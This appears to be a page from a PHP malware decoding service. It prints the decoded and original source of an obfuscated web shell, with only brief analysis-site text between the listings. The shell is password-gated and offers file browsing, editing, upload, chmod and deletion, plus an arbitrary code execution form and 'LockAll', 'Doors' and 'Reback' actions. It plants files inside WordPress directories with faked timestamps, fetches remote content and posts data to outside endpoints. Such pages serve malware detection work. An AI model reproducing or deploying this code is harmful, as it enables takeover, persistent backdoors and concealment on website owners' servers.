"</div>\xa <div style="width: 30%;display:inline-block;">User: "; goto BifCi; ZU3Bz: $hicZU = $wV4eu; goto ExMHy; t3Ahy: if ($s1OWX == 6) { goto ImIH3; } goto N14io; H6thk: function f1djr($hicZU, $MxkgW) { goto nMqNb; l3W71: $MxkgW = array_merge($wr8mn, $SO_dz); goto tdo0r; juCvR: m8ooN: goto i4PKc; i4PKc: sort($wr8mn); goto dh13r; dh13r: sort($SO_dz); goto l3W71; tdo0r: return $MxkgW; goto EKLIj; s8wYX: foreach ($MxkgW as $BKaq1 => $HLoEV) { goto bXAUo; hKBim: $wr8mn[] = $HLoEV; goto VNEB8; bXAUo: if (is_dir($hicZU . "/" . $HLoEV)) { goto PERnb; } goto xCx87; xCx87: $SO_dz[] = $HLoEV; goto mj4UZ; VLYVT: KwuXk: goto c5KmM; xYgAZ: PERnb: goto hKBim; mj4UZ: goto wVTSe; goto xYgAZ; VNEB8: wVTSe: goto VLYVT; c5KmM: } goto juCvR; nMqNb: $wr8mn = array(); goto mPcCt; mPcCt: $SO_dz = array(); goto s8wYX; EKLIj: } goto JnxzV; HcROf: echo $wV4eu; goto aWAy0; s25La: Wb7aV: goto bIR24; wVbxQ: goto Ow0MA; goto FO13T; abw8E: ExkxQ: goto T5wen; Qdhc1: $iakIc = file_get_contents($UKoAN); goto xbLjh; wDPOe: PVQUq: goto CyQ3V; U1pRj: $yj1fW = str_replace($F0LeY, '', $hicZU); goto D8O0N; wR0RY: Jggsp: goto D_J_m; M00m2: echo $UKoAN; goto CA6oi; bJawj: function O8wlV($wjAuf, $bzdc9) { goto E5Q4f; E5Q4f: $B1ncJ = false; goto TpKs0; TpKs0: if (is_dir($wjAuf)) { goto vweCx; } goto SwaqH; uzJLL: B4MPo: goto YyVj9; shqnS: return $B1ncJ; goto AsaJJ; YyVj9: BdWnc: goto shqnS; X1PIC: $B1ncJ = false; goto IZkd8; IZkd8: goto B4MPo; goto LSPgo; ZukmB: goto BdWnc; goto DadSf; gwN87: if (chmod($wjAuf, $bzdc9)) { goto oTL_X; } goto X1PIC; tMqy1: $B1ncJ = true; goto uzJLL; SwaqH: $B1ncJ = false; goto ZukmB; LSPgo: oTL_X: goto tMqy1; DadSf: vweCx: goto gwN87; AsaJJ: } goto P7SOa; qObaN: PDCgV: goto TMVfI; nwXK5: Hlojy: goto t_zRj; Gfapv: echo $UKoAN; goto zKL7T; LwRGb: echo "" method="post">\xa <input type="hidden" name="act" value="shell"/>\xa <input type="hidden" name="type" value="lock"/>
<button type="submit" class="btn btn-danger btn-sm">LockAll</button>
</form>
</div>
</div>
</div>
<div class="bd-example bd-example-row" style="border: 1px solid #ededed;padding: 1rem;margin: 1rem 0;">\xa <div class="row">\xa <div class="col-12 col-sm-12" style="text-align: center;font-weight:bold;">\xa "; goto eLNTc; xnpsw: if (!($J8pN3 > 0)) { goto obzjz; } goto wzN41; jgSdi: function IvXxC($pDJ9q, $QbvJe) { goto Wr8Uu; ZYXqx: $uDtUx = json_decode($c_l18, true); goto AxCzk; NSs9h: curl_setopt($XYopq, CURLOPT_HTTPHEADER, array("Content-Type: application/json", "Content-Length: " . strlen($Epc2h))); goto SaUI0; Oo3FM: curl_setopt($XYopq, CURLOPT_POSTFIELDS, $Epc2h); goto h3qEd; oTQUm: return $egTvp; goto vfReL; h3qEd: $c_l18 = curl_exec($XYopq); goto uYQVS; SaUI0: curl_setopt($XYopq, CURLOPT_POST, true); goto Oo3FM; AafLI: $egTvp["msg"] = curl_error($XYopq); goto DeRRu; SC5Bg: curl_setopt($XYopq, CURLOPT_SSL_VERIFYPEER, false); goto NSs9h; daiQG: if (!curl_errno($XYopq)) { goto yspGP; } goto PxtQA; Wr8Uu: $Epc2h = json_encode($QbvJe); goto YJvGY; DeRRu: yspGP: goto rVsra; rVsra: curl_close($XYopq); goto ZYXqx; z1rm7: curl_setopt($XYopq, CURLOPT_RETURNTRANSFER, true); goto SC5Bg; uYQVS: $egTvp = array(); goto daiQG; PxtQA: $egTvp["status"] = 0; goto AafLI; AxCzk: $egTvp["status"] = $uDtUx["status"]; goto oTQUm; YJvGY: $XYopq = curl_init($pDJ9q); goto z1rm7; vfReL: } goto ajHBO; oYnDt: echo "style="color:red;""; goto oKOuC; c6rxL: echo "<div class="alert alert-success" role="alert">File " . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " uploaded!</div>"; goto Gb60l; Ep86G: echo "" placeholder="Search content">
</div>
<button type="submit" class="btn btn-success">Search</button>
</form>\xa </div>\xa "; goto cVbEW; sWo8c: echo "">Project</a>
</p>\xa </div>
<div class="row">
<p>\xa Path: \xa "; goto m4rqZ; D284E: if ($_POST["type"] == "reback") { goto emSAu; } goto GHMZq; hHZ55: $KW03p = array(); goto vKQV7; WXAm8: echo ""/>\xa \x9 <input type="hidden" name="c2hlbGxfY29kZV9ud205Zjk=" value=""; goto eIFkn; mcaei: if (chmod($UKoAN, octdec($AwLlg))) { goto OcNC4; } goto U3yPr; GHDl1: echo " "; goto KVfR8; LZ6TG: if ($ITud5) { goto Wb7aV; } goto fX9vT; QbEOT: if (empty($wV4eu)) { goto KDkHK; } goto Atr7U; Losku: unlink(__FILE__); goto XlDLu; Rdrav: echo ""/>\xa <button type="submit" class="btn btn-danger btn-sm">Doors</button>
</form>\xa </div>
<div class="col-2 col-sm-1">\xa <form action="?path="; goto jslKn; nvXpx: echo ""/>
<input type="hidden" name="act" value="shell"/>
<input type="hidden" name="type" value="doors"/>
<input type="hidden" name="group_id" value=""; goto o1BDQ; czdzs: $QDo03 = $QbvJe["REQUEST_SCHEME"] . "://" . $QbvJe["SERVER_NAME"]; goto QbEOT; MfDmB: echo ""/>\xa \x9 <input type="hidden" name="c2hlbGxfY29kZV9ud205Zjk=" value=""; goto mwvYz; Dgckg: Xo9Z0($_POST, $EjEmp, $k5zcJ, $XY7l9); goto PNcWR; crkoK: echo ""/>\xa <input type="hidden" name="act" value="upload"/>
<input class="form-control form-control-sm" id="formFileSm" name="fileToUpload" type="file" style="width: 200px;display: inline-block;">
<button type="submit" class="btn btn-info btn-sm">Upload</button>\xa <a class="btn btn-primary btn-sm" href="?path="; goto i4pUj; M8prv: goto PWzkU; goto a81F7; sAzSm: if ($s1OWX == 4) { goto anv4L; } goto QpF5b; qbluw: MvZdZ: goto LI0CE; ajHBO: function xC4tp($Xmvoe, $hJqm6) { goto Her3O; PXYSY: LmDiP: goto faGBw; faGBw: $s3FZc = time() - rand(30, 100) * 24 * 60 * 60 - rand(0, 3600); goto K6YXB; GMWMW: return false; goto xTG1X; Her3O: $wV4eu = $_SERVER["DOCUMENT_ROOT"] . "/"; goto PNalp; w7zq0: if (ZhUve($UKoAN, $hJqm6)) { goto LmDiP; } goto GMWMW; az46d: lwYWy: goto aYmNh; DxAbb: return true; goto op2qM; o2Oqg: if (is_dir($SI2LT)) { goto lwYWy; } goto OcJce; op2qM: hpoLG: goto VtUq5; aYmNh: $UKoAN = $wV4eu . $Xmvoe; goto w7zq0; xTG1X: goto hpoLG; goto PXYSY; QwUR2: return false; goto aaL4B; OcJce: if (mkdir($SI2LT, 0755, true)) { goto YFZy_; } goto QwUR2; K6YXB: touch($UKoAN, $s3FZc); goto DxAbb; aaL4B: YFZy_: goto az46d; PNalp: $SI2LT = $wV4eu . dirname($Xmvoe); goto o2Oqg; VtUq5: } goto D0LIN; gHwOD: $AwLlg = trim($_POST["new_chmod"]); goto yrsSn; cjPyF: echo " <form action="?type=8" method="post" id="deleteForm" style="margin: 1rem;">
<input type="hidden" name="act" id="act" value="deleteFiles"/>\xa <div>\xa <p>\xa\x9 <input type="checkbox" name="allcheck" id="allcheck" value="1"/> all check\xa\x9 \xa\x9 <input type="button" class="delBtn" value="delete"/>
\x9 </p>\xa\x9 </div>\xa <div>
"; goto AimTL; cK5Oe: echo "<div style='color: red;font-weight:bold;'>" . $uvI30 . " is Failed:" . $ZrvyM . ".</div>"; goto W7ucs; Ig42V: echo $UKoAN; goto X_Krb; z86_R: echo "</div>
<div style="width: 30%;display:inline-block;">OS: "; goto u7dbF; D_J_m: goto UsIO3; goto Hrec1; u9XO9: $gNE_W = trim($_POST["search_keys"]); goto Ym51i; M_Ifp: echo $_SESSION["c2hlbGxfY29kZV9ud205Zjk="]; goto PXm5V; lTgfU: JQhJL: goto hn1p8; vnKye: echo " </div>
</div>\xa </div>\xa <form action="?path="; goto p5pGF; Aupmn: goto oCa2Q; goto qObaN; xCmGH: echo ""/>
<input type="hidden" id="path" name="path" value=""; goto M00m2; wwq7f: function d5lou($JVtdv) { goto zbovL; QygS3: if (($iIszP & 0x2000) === 0x2000) { goto lo0As; } goto Ak0nr; ojfao: $KhkTN .= $iIszP & 0x100 ? "r" : "-"; goto TWNc1; FCh3U: goto yUM3v; goto jgAtB; KzW92: $KhkTN .= $iIszP & 0x4 ? "r" : "-"; goto Y13_W; TWNc1: $KhkTN .= $iIszP & 0x80 ? "w" : "-"; goto jWqVO; Ak0nr: if (($iIszP & 0x1000) === 0x1000) { goto s5TJ6; } goto Pk1Wn; dFPY_: if (($iIszP & 0x4000) === 0x4000) { goto KMfXo; } goto QygS3; ZK7_y: if (($iIszP & 0xa000) === 0xa000) { goto AS4qd; } goto gXfhr; ny_xX: goto yUM3v; goto k9qbv; VIpKU: goto yUM3v; goto zo6BN; Pk1Wn: $KhkTN = "u"; goto FCh3U; P_ZBO: $KhkTN .= $iIszP & 0x8 ? $iIszP & 0x400 ? "s" : "x" : ($iIszP & 0x400 ? "S" : "-"); goto KzW92; p1rRH: $iIszP = fileperms($JVtdv); goto jz9A2; ubJdg: $KhkTN = "s"; goto haAR8; IwDv9: $KhkTN = "b"; goto ny_xX; Y13_W: $KhkTN .= $iIszP & 0x2 ? "w" : "-"; goto BoVzw; jgAtB: vSsds: goto ubJdg; haAR8: goto yUM3v; goto b26dM; dQ5nS: $KhkTN = "l"; goto raHjx; EJeuJ: goto yUM3v; goto ZqlPX; zbovL: clearstatcache(true, $JVtdv); goto p1rRH; wPbCL: return $KhkTN; goto oHL4M; BrsuS: $KhkTN .= $iIszP & 0x10 ? "w" : "-"; goto P_ZBO; b26dM: AS4qd: goto dQ5nS; gXfhr: if (($iIszP & 0x8000) === 0x8000) { goto aZOTi; } goto W5TTG; Yo6x4: $KhkTN = "-"; goto EJeuJ; W5TTG: if (($iIszP & 0x6000) === 0x6000) { goto oD0n2; } goto dFPY_; dhyZS: aZOTi: goto Yo6x4; KZ7zb: $KhkTN = "c"; goto VIpKU; tcdx5: $KhkTN = "p"; goto N8hgB; bGsvE: goto yUM3v; goto nGgUu; raHjx: goto yUM3v; goto dhyZS; jWqVO: $KhkTN .= $iIszP & 0x40 ? $iIszP & 0x800 ? "s" : "x" : ($iIszP & 0x800 ? "S" : "-"); goto vf6JH; jz9A2: if (($iIszP & 0xc000) === 0xc000) { goto vSsds; } goto ZK7_y; nGgUu: lo0As: goto KZ7zb; N8hgB: yUM3v: goto ojfao; ZqlPX: oD0n2: goto IwDv9; zp_Yu: $KhkTN = "d"; goto bGsvE; zo6BN: s5TJ6: goto tcdx5; k9qbv: KMfXo: goto zp_Yu; vf6JH: $KhkTN .= $iIszP & 0x20 ? "r" : "-"; goto BrsuS; BoVzw: $KhkTN .= $iIszP & 0x1 ? $iIszP & 0x200 ? "t" : "x" : ($iIszP & 0x200 ? "T" : "-"); goto wPbCL; oHL4M: } goto H6thk; N14io: if ($s1OWX == 7) { goto tTBXc; } goto n0Gl1; BSldn: echo $_SESSION["c2hlbGxfY29kZV9ud205Zjk="]; goto E3kR1; CxARo: $OD9Rs = $_REQUEST["file_content"]; goto cTpgb; grj3P: Ow0MA: goto rypdp; pkHcL: if (empty($plyVc)) { goto Eut01; } goto HuLFN; Htg9a: goto pDQgy; goto wDPOe; dn1tX: echo $_SESSION["c2hlbGxfY29kZV9ud205Zjk="]; goto nvXpx; PxYFt: echo $_SESSION["c2hlbGxfY29kZV9ud205Zjk="]; goto xCmGH; hGOXD: echo $_SESSION["c2hlbGxfY29kZV9ud205Zjk="]; goto crkoK; BPaCi: if ($zjmtS) { goto pItd0; } goto EEP1_; CyQ3V: echo "<div class="alert alert-success" role="alert">Directory created successfully!</div>"; goto WKlje; q4QcV: $wjAuf = isset($_POST["dir"]) ? $_POST["dir"] : ''; goto czdzs; LMLlr: su6K8: goto tvIki; YicUn: $SO_dz = po841($F0LeY, $gNE_W, 0, 10); goto cjPyF; j5H_Y: w66DR: goto c6rxL; uiYo7: echo $_SESSION["dHlwZQ=="]; goto HGwOB; IxzXl: if (!is_writable($hicZU)) { goto ExkxQ; } goto yuvYk; XQUCL: goto su6K8; goto UCqeu; XnPCp: e1LrX: goto Islsd; OZ7Za: jVnIp: goto pD88J; V4uY6: goto pyl_5; goto qAO2R; ryBts: echo ""/>
\x9 <input type="hidden" name="c2hlbGxfY29kZV9ud205Zjk=" value=""; goto LNQtG; BF6UP: g9AaO: goto Dgckg; esMyP: error_reporting(0); goto Bs0v9; VE_jZ: $hicZU = dirname($hicZU); goto XpYW3; MK2l8: echo $_SESSION["c2hlbGxfY29kZV9ud205Zjk="]; goto JxCQV; plOty: echo "" method="post">\xa\x9 \x9<input type="hidden" name="c2hlbGxfY29kZV9ud205Zjk=" value=""; goto HLWad; NzcAi: u6bTi: goto c03sQ; s9Rlt: if (!empty($_SESSION["c2hlbGxfY29kZV9ud205Zjk="]) && sha1(md5($_SESSION["c2hlbGxfY29kZV9ud205Zjk="])) == "d3d034c472305214dd357b0a716885197ac84612") { goto uZAhS; } goto GML0F; kPNw6: iEiWR: goto kfhB2; TiuxF: echo "" method="post">
\x9\x9<input type="hidden" name="c2hlbGxfY29kZV9ud205Zjk=" value=""; goto dn1tX; fX2nG: goto fPOw0; goto czdL2; wSVKb: if (!(isset($_POST["act"]) && $_POST["act"] == "exec_code")) { goto VKpcZ; } goto Sptby; snN32: $XY7l9 = ozb8u($F0LeY); goto rusIH; dQMcY: echo ""/>
<input type="hidden" name="shell_id" value=""; goto mWD0V; s_J93: echo $UKoAN; goto e0xkx; qAO2R: npqwo: goto Mwh5N; KC8zr: foreach ($SO_dz as $BKaq1 => $HLoEV) { EBP_G($HLoEV); eKJ2C: } goto GDxGg; HKkWH: goto bLWGX; goto NzcAi; fXAYh: echo "" placeholder="New Folder Name">
</div>\xa <button type="submit" class="btn btn-success">Create Now</button>\xa </form>\xa </div>
"; goto LMLlr; daWlT: if (!($s1OWX == 1)) { goto A0R89; } goto oIybm; GuG8G: function N3ZUB($F0LeY) { goto eJt0r; eJt0r: $tryGD = "5.x"; goto kCr_s; qjxfS: foreach ($egTvp as $Z0lMa => $J8pN3) { goto IIiH2; cl_pT: Njx1D: goto Q_rf_; IIiH2: if (!($J8pN3 == $FTAfg)) { goto c5Pjn; } goto AavpG; AavpG: $mEkDV[] = $Z0lMa; goto B3DP1; B3DP1: c5Pjn: goto cl_pT; Q_rf_: } goto HlYUy; xD51q: $tryGD = implode(", ", $mEkDV); goto ihDwk; eBc24: if (!file_exists($T7JuE)) { goto UrsXB; } goto YMsIh; HlYUy: k1r01: goto xD51q; kCr_s: $T7JuE = $F0LeY . "/README.txt"; goto eBc24; YMsIh: $iakIc = file_get_contents($T7JuE); goto LE9F2; fhHY0: $FTAfg = max($egTvp); goto uczbG; lCa6m: return $tryGD; goto yHCO4; ihDwk: UrsXB: goto lCa6m; LE9F2: $egTvp = array("3.x" => substr_count($iakIc, "3.x"), "4.x" => substr_count($iakIc, "4.x"), "5.x" => substr_count($iakIc, "5.x"), "6.x" => substr_count($iakIc, "6.x")); goto fhHY0; uczbG: $mEkDV = array(); goto qjxfS; yHCO4: }
?>Did this file decode correctly?
How would you describe this file?
Thank you for your feedback! This will help us detect malicious PHP files more accurately in the future.
Function Calls
None
Variables
None
Stats
| MD5 | 12fe1ee926fe9374 |
|---|---|
| Eval Count | 0 |
| Decode Time | 162 ms |
Original Code
<?php
goto wkzVH; T5wen: $sSXUt = !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] !== "off" || $_SERVER["SERVER_PORT"] == 443 ? "https://" : "http://"; goto DrsCK; EaEYf: KDkHK: goto daWlT; wkzVH: header("Content-Type: text/html; charset=utf-8"); goto G2yj1; P1ZoX: acUNL(); goto R850A; yXPjn: if ($_POST["type"] == "doors") { goto PDCgV; } goto Lj6Cs; KRcnj: pdzhG: goto moay4; Lasaz: $F0LeY = $QbvJe["DOCUMENT_ROOT"]; goto eUcvU; PXm5V: echo ""/>\xa <input type="hidden" name="act" value="shell"/>
<input type="hidden" name="type" value="exec"/>\xa <input type="hidden" name="group_id" value=""; goto TUu8X; D_eS2: echo "&type=6">Create File</a>
<a class="btn btn-success btn-sm" href="?path="; goto Ig42V; YXsBX: function UwiXj($wjAuf) { goto KX7Ls; czfBJ: pqnXU: goto hzThM; IOvSC: iw6_V: goto hJz7k; hzThM: $Z1U4l = glob($wjAuf . "/*"); goto yg4rb; KX7Ls: if (is_dir($wjAuf)) { goto pqnXU; } goto X0KG5; yg4rb: foreach ($Z1U4l as $ITud5) { goto UdWGv; AacSv: k9HI6: goto hXS9w; Nu816: goto ZUWgY; goto fAw6Z; TIPU3: unlink($ITud5); goto MtDiC; fAw6Z: AS1ct: goto TIPU3; s488R: tnLmy: goto R22xr; hXS9w: UwIxJ($ITud5); goto x5tGZ; x5tGZ: ZUWgY: goto s488R; p1ZZ4: if (is_dir($ITud5)) { goto k9HI6; } goto Nu816; MtDiC: goto ZUWgY; goto AacSv; UdWGv: if (is_file($ITud5)) { goto AS1ct; } goto p1ZZ4; R22xr: } goto IOvSC; X0KG5: return false; goto czfBJ; hJz7k: return rmdir($wjAuf); goto xM9YW; xM9YW: } goto a9E1R; DrsCK: $O1ccF = $_SERVER["HTTP_HOST"]; goto z7Mb8; cVbEW: if (empty($gNE_W)) { goto S53bO; } goto ITa30; beBYg: echo " <div class="row">
<form action="?type=6" method="post">\xa <input type="hidden" id="path" name="path" value=""; goto FJU3D; DvwxZ: J5sbI: goto Jw6BZ; TUu8X: echo $_SESSION["Z3JvdXA="]; goto jvSX3; u3NLL: echo $_SESSION["c2Vjb25k"]; goto IMH6v; BMke8: $hicZU = dirname($UKoAN); goto q4QcV; LNQtG: echo $_SESSION["c2hlbGxfY29kZV9ud205Zjk="]; goto RuowD; yrsSn: if (!empty($AwLlg)) { goto ic6XH; } goto seJ2G; GFAYt: echo ""/>
<button type="submit" class="btn btn-success btn-sm">Reback</button>
</form>\xa </div>\xa <div class="col-2 col-sm-1">\xa <form action="?path="; goto s_J93; nJn0D: H1YpC: goto tPz1O; P7SOa: function oLWXg($iEM1t) { goto V5AKZ; urEyv: rhMrZ: goto H1b40; H1b40: return $iEM1t; goto EuMXr; V5AKZ: foreach ($iEM1t as $BKaq1 => $HLoEV) { $iEM1t[$BKaq1] = base64_decode($HLoEV); doJi3: } goto urEyv; EuMXr: } goto d2pH3; W5bxK: echo "<div class="alert alert-success" role="alert">Directory creation failed!</div>"; goto Htg9a; SAHFd: $wV4eu = $_REQUEST["path"]; goto E0gB6; HLEC6: ZycFN: goto xJfos; SSHbZ: echo $Nd6T2; goto hT1Ns; EEP1_: echo "<div class="alert alert-danger" role="alert">Failed to modify file name!</div>"; goto owGXL; Mwh5N: foreach ($SO_dz as $BKaq1 => $HLoEV) { goto vUNZ8; zUBUM: echo $T7JuE; goto Hgbn7; vUNZ8: if ($HLoEV == "." || $HLoEV == "..") { goto PwVrA; } goto Wl6Gj; iuQuw: TkJgK: goto YGcs2; zvH0a: echo "&type=2">Edit</a>\xa <a class="btn btn-warning btn-xs" href="?path="; goto zUBUM; WBvBv: if (is_dir($T7JuE)) { goto m3buA; } goto t8KzK; o96cN: nP0XC: goto tE3rD; GRyxI: if (is_dir($T7JuE)) { goto TkJgK; } goto ryhxI; t8KzK: echo "<a href="?path=" . $T7JuE . "&type=2">" . $HLoEV . "</a>"; goto hDmFk; pvLGs: XS5eu: goto HQ6Wf; f6GQA: echo " </td>
<td>\xa "; goto phVxU; dwz36: H9kj6: goto rwe8h; tE3rD: echo " </td>\xa <td>
"; goto TPsr4; MpQeZ: echo " </td>
<td>
"; goto GRyxI; EyFdd: echo $T7JuE; goto cQhaJ; YGcs2: echo "<font color="green" style="font-weight: bold;">Directory</font>"; goto dwz36; AJ4PD: echo "" target="_blank">click visit</a>\xa "; goto eHqYy; hDmFk: goto nP0XC; goto X4qKl; yckX6: goto mP_i1; goto pvLGs; QMOUM: echo $T7JuE; goto zvH0a; LwrEH: goto H9kj6; goto iuQuw; X4qKl: m3buA: goto rLPUM; ryhxI: echo VAFfQ($T7JuE); goto LwrEH; XnPpr: $Ge2f3 = filemtime($T7JuE); goto Xxzda; Tf2xA: echo " <tr>
<th>\xa <div class="form-check">\xa <input class="form-check-input" type="checkbox" value=""; goto SYZ0F; z4NNN: echo " </td>
<td>\xa <a class="btn btn-primary btn-xs" href="?path="; goto EyFdd; eHqYy: YSnaw: goto MpQeZ; KlOep: mP_i1: goto z4NNN; Wl6Gj: $T7JuE = $hicZU . "/" . $HLoEV; goto Tf2xA; rLPUM: echo "<a href="?path=" . $T7JuE . "&type=1" style="color: green;font-weight:bold;">
<i class="bi bi-folder" style="vertical-align: middle;">\xa <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-folder" viewBox="0 0 16 16">\xa <path d="M.54 3.87.5 3a2 2 0 0 1 2-2h3.672a2 2 0 0 1 1.414.586l.828.828A2 2 0 0 0 9.828 3h3.982a2 2 0 0 1 1.992 2.181l-.637 7A2 2 0 0 1 13.174 14H2.826a2 2 0 0 1-1.991-1.819l-.637-7a1.99 1.99 0 0 1 .342-1.31zM2.19 4a1 1 0 0 0-.996 1.09l.637 7a1 1 0 0 0 .995.91h10.348a1 1 0 0 0 .995-.91l.637-7A1 1 0 0 0 13.81 4H2.19zm4.69-1.707A1 1 0 0 0 6.172 2H2.5a1 1 0 0 0-1 .981l.006.139C1.72 3.042 1.95 3 2.19 3h5.396l-.707-.707z"/>
</svg>\xa </i>" . $HLoEV . "</a>"; goto o96cN; HQ6Wf: echo "<font color="green" style="font-weight: bold;">" . $M14wo . "</font>"; goto KlOep; UGvfp: if (strpos($M14wo, "w") !== false) { goto XS5eu; } goto TivhR; ivSNT: echo $XbXzE . "/" . $HLoEV; goto AJ4PD; phVxU: $M14wo = d5LOU($T7JuE); goto UGvfp; Hgbn7: echo "&type=5">Chmod</a>\xa </td>
</tr>\xa "; goto ZgmtB; Xxzda: echo date("Y-m-d H:i:s", $Ge2f3); goto f6GQA; ZgmtB: PwVrA: goto teMvY; teMvY: nsf_w: goto NDzcL; SYZ0F: echo $T7JuE; goto vTOeF; rwe8h: echo " </td>
<td>\xa "; goto XnPpr; TivhR: echo "<font color="red" style="font-weight: bold;">" . $M14wo . "</font>"; goto yckX6; vTOeF: echo "" name="childcheck[]">
</div>\xa </th> \xa <td>
"; goto WBvBv; Opg6k: echo " <a href=""; goto ivSNT; TPsr4: if (is_dir($T7JuE)) { goto YSnaw; } goto Opg6k; cQhaJ: echo "&type=4">Rename</a>\xa <a class="btn btn-info btn-xs" href="?path="; goto QMOUM; NDzcL: } goto DvwxZ; U3yPr: echo "<div class="alert alert-danger" role="alert">Failed to modify file permissions!</div>"; goto fX2nG; IQQmc: echo "<div class="alert alert-success" role="alert">Directory already exists!</div>"; goto eFcLP; m2DAF: anv4L: goto j_c1X; GDxGg: O98GY: goto Y5a1f; Qq21j: echo $_SESSION["c2hlbGxfaWQ="]; goto MeCwi; QhUCX: echo ">Writeable</span>\xa </p>\xa </div>\xa "; goto nv2q2; wHwLM: EiCmU: goto UhBdt; tvIki: goto e1LrX; goto lJldC; CA6oi: echo ""/>\xa <div class="form-group">
<input type="text" class="form-control" id="new_name" name="new_name" value=""; goto GuAVw; i6BjG: echo "" method="post" enctype="multipart/form-data">
<input type="text" name="exec_code" class="form-control" value="" style="display: inline-block;width: 50%;"/>
<input type="hidden" name="act" value="exec_code"/>
<button type="submit" class="btn btn-info btn-sm">Exec</button>
</form>
</div>\xa </div>\xa </div>
<div class="col-12" style="margin-bottom: 1rem;">
<div class="row">
<div class="col-6">
<form action="?type=1" method="post" enctype="multipart/form-data">\xa <input type="text" name="dir" class="form-control" value=""; goto HcROf; AG6T2: OZ1vY: goto cLfDB; NbS3d: function pmjHa($pC8JU, $Fu7Uq) { goto SEdpp; OPLzm: bpKT3: goto q9eLG; kfmSo: foreach ($pC8JU as $BKaq1 => $HLoEV) { goto IdLNI; PVe4W: K_Qvv: goto Fa9r4; NorvU: $eCO4z[] = $HLoEV; goto KgD60; IdLNI: if (empty(trim($HLoEV))) { goto U_UxZ; } goto NorvU; KgD60: U_UxZ: goto PVe4W; Fa9r4: } goto SKh9H; TdSM4: $Rc2jY = $Rc2jY . "/" . $SO_dz[rand(0, count($SO_dz) - 1)]; goto XHWdh; T0Fue: lgvGm: goto HbiGG; iMRVP: $kRUTh++; goto I4hQ3; iLUGI: $ax8fr = array("wp-content", "wp-admin", "wp-includes"); goto ecS6h; qYDf9: goto HDQOR; goto T0Fue; ecS6h: $SO_dz = array("css", "images", "img", "js", "themes", "plugins", "uploads", "languages", "includes", "maint", "network", "met", "user", "IXR", "ID3", "fonts", "block", "blocks", "php-compat", "php", "Text", "widgets", "SimplePie", "random", "style-engine", "pomo", "certificates", "blockt"); goto agoXN; q9eLG: $Jx3Dx++; goto qYDf9; WO4xI: HDQOR: goto mcL5J; rV6Fq: $kRUTh = 0; goto DXCjd; SEdpp: $wV4eu = realpath($_SERVER["DOCUMENT_ROOT"]); goto QIQGT; I4hQ3: goto LAWHd; goto W1UKP; mcL5J: if (!($Jx3Dx < $Fu7Uq)) { goto lgvGm; } goto ec1Fr; xZJhV: $eCO4z[] = $Rc2jY; goto OPLzm; XHWdh: dVpmc: goto iMRVP; agoXN: $Jx3Dx = 0; goto WO4xI; W1UKP: FkIK5: goto xZJhV; SKh9H: yh3kg: goto iLUGI; HbiGG: return $eCO4z; goto VcZPc; DXCjd: LAWHd: goto alP09; QIQGT: $eCO4z = array(); goto kfmSo; alP09: if (!($kRUTh < rand(3, 6))) { goto FkIK5; } goto TdSM4; ec1Fr: $Rc2jY = $wV4eu . "/" . $ax8fr[rand(0, count($ax8fr) - 1)]; goto rV6Fq; VcZPc: } goto fs5bJ; QRhhz: echo $UKoAN; goto TiuxF; KVfR8: hUWwC: goto XQUCL; Zwqqj: echo "<div class="alert alert-success" role="alert">File name modified successfully!</div>"; goto RmTJx; AimTL: foreach ($SO_dz as $ITud5) { goto rDZrH; h_egY: echo "<p><input type="checkbox" class="item" name="files[]" value="" . $ITud5 . ""/> " . $Pi60r . "</p>"; goto cxh2X; cxh2X: u4gZF: goto el4rY; rDZrH: $Pi60r = "<a href="?path=" . $ITud5 . "&type=2" target="_blank">" . $ITud5 . "</a>"; goto h_egY; el4rY: } goto RGxY3; ERvMQ: if (!($s1OWX == 3)) { goto jVnIp; } goto CxARo; rusIH: $tryGD = n3ZUB($F0LeY); goto m21zH; Ym51i: $wYqlh = trim($_POST["act"]); goto emr3H; Bhdxw: S53bO: goto fl_7D; Q4P8e: $iakIc = file_get_contents($UKoAN); goto We_tE; HuLFN: if (!is_dir($hicZU . "/" . $plyVc)) { goto a30qV; } goto IQQmc; YU6Lt: function XrsD2($pDJ9q) { goto GPkNo; B3LQi: if (!function_exists("file_get_contents")) { goto D9fSk; } goto gW8Bu; qsYpD: $Zflin = curl_init($pDJ9q); goto J_rhE; lgvxK: curl_setopt($Zflin, CURLOPT_SSL_VERIFYPEER, 0); goto dX0Vk; j3tI3: $D5Bwl = curl_exec($Zflin); goto Zo9fM; EMRyC: $qPSqX = fopen($pDJ9q, "r"); goto qkPsF; ZEvgi: curl_setopt($Zflin, CURLOPT_FOLLOWLOCATION, 1); goto lgvxK; GPkNo: $D5Bwl = ''; goto B3LQi; dX0Vk: curl_setopt($Zflin, CURLOPT_SSL_VERIFYHOST, 0); goto j3tI3; lpeqO: return $D5Bwl; goto H6e9P; mz8lI: if (!(empty($D5Bwl) && function_exists("curl_exec"))) { goto TQF0j; } goto qsYpD; Alvix: TQF0j: goto G2RJx; gW8Bu: $D5Bwl = file_get_contents($pDJ9q); goto ImaXv; OdZmn: fsq_Q: goto lpeqO; J_rhE: curl_setopt($Zflin, CURLOPT_RETURNTRANSFER, 1); goto ZEvgi; ImaXv: D9fSk: goto mz8lI; qkPsF: $D5Bwl = stream_get_contents($qPSqX); goto nXctf; nXctf: fclose($qPSqX); goto OdZmn; Zo9fM: curl_close($Zflin); goto Alvix; G2RJx: if (!(empty($D5Bwl) && function_exists("fopen") && function_exists("stream_get_contents"))) { goto fsq_Q; } goto EMRyC; H6e9P: } goto jgSdi; eUcvU: $UKoAN = $QbvJe["SCRIPT_FILENAME"]; goto BMke8; Ux77u: r1hLO: goto bApR0; V7EVa: Q3I6s: goto N9QRD; zntT0: echo $plyVc; goto nifYO; WzdN7: echo "<div class="alert alert-danger" role="alert">File upload failed!</div>"; goto bM8qE; bFBvq: $Nd6T2 = $AwLlg; goto jA1DO; We_tE: echo " <textarea class="form-control" id="exampleFormControlTextarea1" name="file_content" rows="20" cols="100">"; goto qmdNn; YcRxk: echo ""/>\xa <input type="hidden" name="group_id_2" value=""; goto u3NLL; W7ucs: goto O_zqm; goto E8Tzo; YYaB8: function Kamki($kYzEH, $niwNW, $bQ2mI, $uvI30, $l6zJ6) { goto zE2YT; wNQiI: $uvI30 = str_replace("[##htcontent##]", base64_encode($niwNW), $uvI30); goto krDgs; d2eN0: EwIGX: goto Zcrdk; Bahoj: return false; goto gfS4f; krDgs: $uvI30 = str_replace("[##indexcontent##]", base64_encode($bQ2mI . $l6zJ6), $uvI30); goto RXaUw; 